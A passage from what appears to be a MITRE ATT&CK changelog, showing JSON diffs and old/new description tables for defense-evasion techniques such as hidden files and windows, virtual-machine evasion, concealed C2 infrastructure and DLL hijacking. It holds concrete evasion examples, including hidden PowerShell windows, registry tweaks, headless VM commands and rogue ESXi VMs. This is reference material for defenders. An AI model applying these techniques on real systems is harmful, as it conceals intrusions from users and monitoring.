| > | when using normal commands on the command line. Users must e | > | when using normal commands on the command line. Users must e | ||
| > | xplicitly ask to show the hidden files either via a series o | > | xplicitly ask to show the hidden files either via a series o | ||
| > | f Graphical User Interface (GUI) prompts or with command lin | > | f Graphical User Interface (GUI) prompts or with command lin | ||
| > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | ||
| > | /code> for Linux and macOS). On Linux and Mac, users can ma | > | /code> for Linux and macOS). On Linux and Mac, users can ma | ||
| > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | ||
| > | irst character in the file or folder name (Citation: Sofacy | > | irst character in the file or folder name (Citation: Sofacy | ||
| > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | ||
| > | nd folders that start with a period, \u2018.\u2019, are by default hid | > | nd folders that start with a period, \u2018.\u2019, are by default hid | ||
| > | den from being viewed in the Finder application and standard | > | den from being viewed in the Finder application and standard | ||
| > | command-line utilities like \u201cls\u201d. Users must specifically c | > | command-line utilities like \u201cls\u201d. Users must specifically c | ||
| > | hange settings to have these files viewable. Files on macOS | > | hange settings to have these files viewable. Files on macOS | ||
| > | can also be marked with the UF_HIDDEN flag which prevents t | > | can also be marked with the UF_HIDDEN flag which prevents t | ||
| > | hem from being seen in Finder.app, but still allows them to | > | hem from being seen in Finder.app, but still allows them to | ||
| > | be seen in Terminal.app (Citation: WireLurker). On Windows, | > | be seen in Terminal.app (Citation: WireLurker). On Windows, | ||
| > | users can mark specific files as hidden by using the attrib. | > | users can mark specific files as hidden by using the attrib. | ||
| > | exe binary. Many applications create these hidden files and | > | exe binary. Many applications create these hidden files and | ||
| > | folders to store information so that it doesn\u2019t clutter up t | > | folders to store information so that it doesn\u2019t clutter up t | ||
| > | he user\u2019s workspace. For example, SSH utilities create a .ss | > | he user\u2019s workspace. For example, SSH utilities create a .ss | ||
| > | h folder that\u2019s hidden and contains the user\u2019s known hosts a | > | h folder that\u2019s hidden and contains the user\u2019s known hosts a | ||
| > | nd keys. Adversaries can use this to their advantage to hid | > | nd keys. Additionally, adversaries may name files in a mann | ||
| > | e files and folders anywhere on the system and evading a typ | > | er that would allow the file to be hidden such as naming a f | ||
| > | ical user or system analysis that does not incorporate inves | > | ile only a \u201cspace\u201d character. Adversaries can use this to t | ||
| > | tigation of hidden files. | > | heir advantage to hide files and folders anywhere on the sys | ||
| > | tem and evading a typical user or system analysis that does | ||||
| > | not incorporate investigation of hidden files. |
apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/003",
+ "external_id": "T1564.003"
+ },
+ {
+ "source_name": "Cantoris Computing",
+ "description": "Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.",
+ "url": "https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/"
+ },
+ {
+ "source_name": "Cybereason - Hidden Malicious Remote Access",
+ "description": "Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.",
+ "url": "https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access"
+ },
+ {
+ "source_name": "LOLBAS Project GitHub Device Cred Dep",
+ "description": "Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.",
+ "url": "https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/"
+ },
+ {
+ "source_name": "Hidden VNC",
+ "description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.",
+ "url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"
+ },
+ {
+ "source_name": "Anatomy of an hVNC Attack",
+ "description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.",
+ "url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"
+ },
+ {
+ "source_name": "SecureList BlueNoroff Device Cred Dev",
+ "description": "Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.",
+ "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
+ },
+ {
+ "source_name": "Antiquated Mac Malware",
+ "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
+ },
+ {
+ "source_name": "PowerShell About 2019",
+ "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Travis Smith, Tripwire",
+ "Mark Tsipershtein",
+ "Vijay Lalwani",
+ "Liran Ravich, CardinalOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.485000+00:00\", \"old_value\": \"2025-04-15 19:59:07.977000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n\\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\", \"old_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\", \"diff\": \"--- \\n+++ \\n@@ -9,3 +9,5 @@\\n The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n \\n In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n+\\n+Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cybereason - Hidden Malicious Remote Access\", \"description\": \"Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.\", \"url\": \"https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access\"}, \"root['external_references'][3]\": {\"source_name\": \"LOLBAS Project GitHub Device Cred Dep\", \"description\": \"Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/\"}, \"root['external_references'][6]\": {\"source_name\": \"SecureList BlueNoroff Device Cred Dev\", \"description\": \"Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.\", \"url\": \"https://securelist.com/bluenoroff-methods-bypass-motw/108383/\"}, \"root['x_mitre_contributors'][3]\": \"Liran Ravich, CardinalOps\"}}",
+ "previous_version": "1.3",
+ "version_change": "1.3 \u2192 1.4",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden windows to conceal malicious acti | t | 1 | Adversaries may use hidden windows to conceal malicious acti |
| > | vity from the plain sight of users. In some cases, windows t | > | vity from the plain sight of users. In some cases, windows t | ||
| > | hat would typically be displayed when an application carries | > | hat would typically be displayed when an application carries | ||
| > | out an operation can be hidden. This may be utilized by sys | > | out an operation can be hidden. This may be utilized by sys | ||
| > | tem administrators to avoid disrupting user work environment | > | tem administrators to avoid disrupting user work environment | ||
| > | s when carrying out administrative tasks. Adversaries may | > | s when carrying out administrative tasks. Adversaries may | ||
| > | abuse these functionalities to hide otherwise visible window | > | abuse these functionalities to hide otherwise visible window | ||
| > | s from users so as not to alert the user to adversary activi | > | s from users so as not to alert the user to adversary activi | ||
| > | ty on the system.(Citation: Antiquated Mac Malware) On macO | > | ty on the system.(Citation: Antiquated Mac Malware) On macO | ||
| > | S, the configurations for how applications run are listed in | > | S, the configurations for how applications run are listed in | ||
| > | property list (plist) files. One of the tags in these files | > | property list (plist) files. One of the tags in these files | ||
| > | can be <code>apple.awt.UIElement</code>, which allows for J | > | can be <code>apple.awt.UIElement</code>, which allows for J | ||
| > | ava applications to prevent the application's icon from appe | > | ava applications to prevent the application's icon from appe | ||
| > | aring in the Dock. A common use for this is when application | > | aring in the Dock. A common use for this is when application | ||
| > | s run in the system tray, but don't also want to show up in | > | s run in the system tray, but don't also want to show up in | ||
| > | the Dock. Similarly, on Windows there are a variety of feat | > | the Dock. Similarly, on Windows there are a variety of feat | ||
| > | ures in scripting languages, such as [PowerShell](https://at | > | ures in scripting languages, such as [PowerShell](https://at | ||
| > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | > | tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) to make | > | asic](https://attack.mitre.org/techniques/T1059/005) to make | ||
| > | windows hidden. One example of this is <code>powershell.exe | > | windows hidden. One example of this is <code>powershell.exe | ||
| > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | > | -WindowStyle Hidden</code>.(Citation: PowerShell About 2019 | ||
| > | ) The Windows Registry can also be edited to hide applicati | > | ) The Windows Registry can also be edited to hide applicati | ||
| > | on windows from the current user. For example, by setting th | > | on windows from the current user. For example, by setting th | ||
| > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\ | > | e `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\ | ||
| > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | > | %SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` | ||
| > | Registry key to a maximum value, PowerShell windows will op | > | Registry key to a maximum value, PowerShell windows will op | ||
| > | en off screen and be hidden.(Citation: Cantoris Computing) | > | en off screen and be hidden.(Citation: Cantoris Computing) | ||
| > | In addition, Windows supports the `CreateDesktop()` API that | > | In addition, Windows supports the `CreateDesktop()` API that | ||
| > | can create a hidden desktop window with its own correspondi | > | can create a hidden desktop window with its own correspondi | ||
| > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | > | ng <code>explorer.exe</code> process.(Citation: Hidden VNC)( | ||
| > | Citation: Anatomy of an hVNC Attack) All applications runni | > | Citation: Anatomy of an hVNC Attack) All applications runni | ||
| > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | > | ng on the hidden desktop window, such as a hidden VNC (hVNC) | ||
| > | session,(Citation: Hidden VNC) will be invisible to other d | > | session,(Citation: Hidden VNC) will be invisible to other d | ||
| > | esktops windows. | > | esktops windows. Adversaries may also leverage cmd.exe(Cita | ||
| > | tion: Cybereason - Hidden Malicious Remote Access) as a pare | ||||
| > | nt process, and then utilize a LOLBin, such as DeviceCredent | ||||
| > | ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr | ||||
| > | ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to | ||||
| > | hide windows. |
-silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n\\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n\\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\\n-\\n-Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \\\"all\\\").\\n-\\n-Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \\n-\\n-Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"ESET MirrorFace 2025\", \"description\": \" Dominik Breitenbacher. (2025, March 18). Operation AkaiRy\\u016b: MirrorFace invites Europe to Expo 2025 and revives ANEL backdoor. Retrieved May 22, 2025.\", \"url\": \"https://www.welivesecurity.com/en/eset-research/operation-akairyu-mirrorface-invites-europe-expo-2025-revives-anel-backdoor/\"}, \"root['external_references'][5]\": {\"source_name\": \"Securonix CronTrap 2024\", \"description\": \"Den Iuzvyk and Tim Peck. (2024, November 4). CRON#TRAP: Emulated Linux Environments as the Latest Tactic in Malware Staging. Retrieved May 22, 2025.\", \"url\": \"https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/\"}, \"root['x_mitre_contributors'][3]\": \"Enis Aksu\", \"root['x_mitre_contributors'][4]\": \"Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][5]\": \"Yusuke Niwa, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][6]\": \"Shuhei Sasada, ITOCHU Cyber & Intelligence Inc.\", \"root['x_mitre_contributors'][7]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][8]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][9]\": \"Natthawut Saexu\"}}",
+ "previous_version": "1.2",
+ "version_change": "1.2 \u2192 1.3",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may carry out malicious operations using a virtu | t | 1 | Adversaries may carry out malicious operations using a virtu |
| > | al instance to avoid detection. A wide variety of virtualiza | > | al instance to avoid detection. A wide variety of virtualiza | ||
| > | tion technologies exist that allow for the emulation of a co | > | tion technologies exist that allow for the emulation of a co | ||
| > | mputer or computing environment. By running malicious code i | > | mputer or computing environment. By running malicious code i | ||
| > | nside of a virtual instance, adversaries can hide artifacts | > | nside of a virtual instance, adversaries can hide artifacts | ||
| > | associated with their behavior from security tools that are | > | associated with their behavior from security tools that are | ||
| > | unable to monitor activity inside the virtual instance.(Cita | > | unable to monitor activity inside the virtual instance.(Cita | ||
| > | tion: CyberCX Akira Ransomware) Additionally, depending on t | > | tion: CyberCX Akira Ransomware) Additionally, depending on t | ||
| > | he virtual networking implementation (ex: bridged adapter), | > | he virtual networking implementation (ex: bridged adapter), | ||
| > | network traffic generated by the virtual instance can be dif | > | network traffic generated by the virtual instance can be dif | ||
| > | ficult to trace back to the compromised host as the IP addre | > | ficult to trace back to the compromised host as the IP addre | ||
| > | ss and hostname might not match known values.(Citation: Sing | > | ss and hostname might not match known values.(Citation: Sing | ||
| > | Health Breach Jan 2019) Adversaries may utilize native supp | > | Health Breach Jan 2019) Adversaries may utilize native supp | ||
| > | ort for virtualization (ex: Hyper-V) or drop the necessary f | > | ort for virtualization (ex: Hyper-V), deploy lightweight emu | ||
| > | iles to run a virtual instance (ex: VirtualBox binaries). Af | > | lators (ex: QEMU), or drop the necessary files to run a virt | ||
| > | ter running a virtual instance, adversaries may create a sha | > | ual instance (ex: VirtualBox binaries).(Citation: Securonix | ||
| > | red folder between the guest and host with permissions that | > | CronTrap 2024) After running a virtual instance, adversaries | ||
| > | enable the virtual instance to interact with the host file s | > | may create a shared folder between the guest and host with | ||
| > | ystem.(Citation: Sophos Ragnar May 2020) In VMWare environm | > | permissions that enable the virtual instance to interact wit | ||
| > | ents, adversaries may leverage the vCenter console to create | > | h the host file system.(Citation: Sophos Ragnar May 2020) T | ||
| > | new virtual machines. However, they may also create virtual | > | hreat actors may also leverage temporary virtualized environ | ||
| > | machines directly on ESXi servers by running a valid `.vmx` | > | ments such as the Windows Sandbox, which supports the use of | ||
| > | file with the `/bin/vmx` utility. Adding this command to `/ | > | `.wsb` configuration files for defining execution parameter | ||
| > | etc/rc.local.d/local.sh` (i.e., [RC Scripts](https://attack. | > | s. For example, the `<MappedFolder>` property supports the c | ||
| > | mitre.org/techniques/T1037/004)) will cause the VM to persis | > | reation of a shared folder, while the `<LogonCommand>` prope | ||
| > | tently restart.(Citation: vNinja Rogue VMs 2024) Creating a | > | rty allows the specification of a payload.(Citation: ESET Mi | ||
| > | VM this way prevents it from appearing in the vCenter consol | > | rrorFace 2025) In VMWare environments, adversaries may leve | ||
| > | e or in the output to the `vim-cmd vmsvc/getallvms` command | > | rage the vCenter console to create new virtual machines. How | ||
| > | on the ESXi server, thereby hiding it from typical administr | > | ever, they may also create virtual machines directly on ESXi | ||
| > | ative activities.(Citation: MITRE VMware Abuse 2024) | > | servers by running a valid `.vmx` file with the `/bin/vmx` | ||
| > | utility. Adding this command to `/etc/rc.local.d/local.sh` ( | ||||
| > | i.e., [RC Scripts](https://attack.mitre.org/techniques/T1037 | ||||
| > | /004)) will cause the VM to persistently restart.(Citation: | ||||
| > | vNinja Rogue VMs 2024) Creating a VM this way prevents it fr | ||||
| > | om appearing in the vCenter console or in the output to the | ||||
| > | `vim-cmd vmsvc/getallvms` command on the ESXi server, thereb | ||||
| > | y hiding it from typical administrative activities.(Citation | ||||
| > | : MITRE VMware Abuse 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate network traffic in order to hide | t | 1 | Adversaries may manipulate network traffic in order to hide |
| > | and evade detection of their C2 infrastructure. This can be | > | and evade detection of their C2 infrastructure. This can be | ||
| > | accomplished in various ways including by identifying and fi | > | accomplished by identifying and filtering traffic from defen | ||
| > | ltering traffic from defensive tools,(Citation: TA571) maski | > | sive tools,(Citation: TA571) masking malicious domains to ob | ||
| > | ng malicious domains to obfuscate the true destination from | > | fuscate the true destination from both automated scanning to | ||
| > | both automated scanning tools and security researchers,(Cita | > | ols and security researchers,(Citation: Schema-abuse)(Citati | ||
| > | tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up | > | on: Facad1ng)(Citation: Browser-updates) and otherwise hidin | ||
| > | dates) and otherwise hiding malicious artifacts to delay dis | > | g malicious artifacts to delay discovery and prolong the eff | ||
| > | covery and prolong the effectiveness of adversary infrastruc | > | ectiveness of adversary infrastructure that could otherwise | ||
| > | ture that could otherwise be identified, blocked, or taken d | > | be identified, blocked, or taken down entirely. C2 networks | ||
| > | own entirely. C2 networks may include the use of [Proxy](ht | > | may include the use of [Proxy](https://attack.mitre.org/tec | ||
| > | tps://attack.mitre.org/techniques/T1090) or VPNs to disguise | > | hniques/T1090) or VPNs to disguise IP addresses, which can a | ||
| > | IP addresses, which can allow adversaries to blend in with | > | llow adversaries to blend in with normal network traffic and | ||
| > | normal network traffic and bypass conditional access policie | > | bypass conditional access policies or anti-abuse protection | ||
| > | s or anti-abuse protections. For example, an adversary may u | > | s. For example, an adversary may use a virtual private cloud | ||
| > | se a virtual private cloud to spoof their IP address to clos | > | to spoof their IP address to closer align with a victim's I | ||
| > | er align with a victim's IP address ranges. This may also by | > | P address ranges. This may also bypass security measures rel | ||
| > | pass security measures relying on geolocation of the source | > | ying on geolocation of the source IP address.(Citation: sysd | ||
| > | IP address.(Citation: sysdig)(Citation: Orange Residential P | > | ig)(Citation: Orange Residential Proxies) Adversaries may a | ||
| > | roxies) Adversaries may also attempt to filter network traf | > | lso attempt to filter network traffic in order to evade defe | ||
| > | fic in order to evade defensive tools in numerous ways, incl | > | nsive tools in numerous ways, including blocking/redirecting | ||
| > | uding blocking/redirecting common incident responder or secu | > | common incident responder or security appliance user agents | ||
| > | rity appliance user agents.(Citation: mod_rewrite)(Citation: | > | .(Citation: mod_rewrite)(Citation: SocGholish-update) Filter | ||
| > | SocGholish-update) Filtering traffic based on IP and geo-fe | > | ing traffic based on IP and geo-fencing may also avoid autom | ||
| > | ncing may also avoid automated sandboxing or researcher acti | > | ated sandboxing or researcher activity (i.e., [Virtualizatio | ||
| > | vity (i.e., [Virtualization/Sandbox Evasion](https://attack. | > | n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497 | ||
| > | mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod | > | )).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infra | ||
| > | _rewrite) Hiding C2 infrastructure may also be supported by | > | structure may also be supported by [Resource Development](ht | ||
| > | [Resource Development](https://attack.mitre.org/tactics/TA0 | > | tps://attack.mitre.org/tactics/TA0042) activities such as [A | ||
| > | 042) activities such as [Acquire Infrastructure](https://att | > | cquire Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | ack.mitre.org/techniques/T1583) and [Compromise Infrastructu | > | 1583) and [Compromise Infrastructure](https://attack.mitre.o | ||
| > | re](https://attack.mitre.org/techniques/T1584). For example, | > | rg/techniques/T1584). For example, using widely trusted host | ||
| > | using widely trusted hosting services or domains such as pr | > | ing services or domains such as prominent URL shortening pro | ||
| > | ominent URL shortening providers or marketing services for C | > | viders or marketing services for C2 networks may enable adve | ||
| > | 2 networks may enable adversaries to present benign content | > | rsaries to present benign content that later redirects victi | ||
| > | that later redirects victims to malicious web pages or infra | > | ms to malicious web pages or infrastructure once specific co | ||
| > | structure once specific conditions are met.(Citation: StarBl | > | nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen | ||
| > | izzard)(Citation: QR-cofense) | > | se) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o | t | 1 | Adversaries may abuse dynamic-link library files (DLLs) in o |
| > | rder to achieve persistence, escalate privileges, and evade | > | rder to achieve persistence, escalate privileges, and evade | ||
| > | defenses. DLLs are libraries that contain code and data that | > | defenses. DLLs are libraries that contain code and data that | ||
| > | can be simultaneously utilized by multiple programs. While | > | can be simultaneously utilized by multiple programs. While | ||
| > | DLLs are not malicious by nature, they can be abused through | > | DLLs are not malicious by nature, they can be abused through | ||
| > | mechanisms such as side-loading, hijacking search order, an | > | mechanisms such as side-loading, hijacking search order, an | ||
| > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | > | d phantom DLL hijacking.(Citation: unit 42) Specific ways D | ||
| > | LLs are abused by adversaries include: ### DLL Sideloading | > | LLs are abused by adversaries include: ### DLL Sideloading | ||
| > | Adversaries may execute their own malicious payloads by side | > | Adversaries may execute their own malicious payloads by side | ||
| > | -loading DLLs. Side-loading involves hijacking which DLL a p | > | -loading DLLs. Side-loading involves hijacking which DLL a p | ||
| > | rogram loads by planting and then invoking a legitimate appl | > | rogram loads by planting and then invoking a legitimate appl | ||
| > | ication that executes their payload(s). Side-loading positi | > | ication that executes their payload(s). Side-loading positi | ||
| > | ons both the victim application and malicious payload(s) alo | > | ons both the victim application and malicious payload(s) alo | ||
| > | ngside each other. Adversaries likely use side-loading as a | > | ngside each other. Adversaries likely use side-loading as a | ||
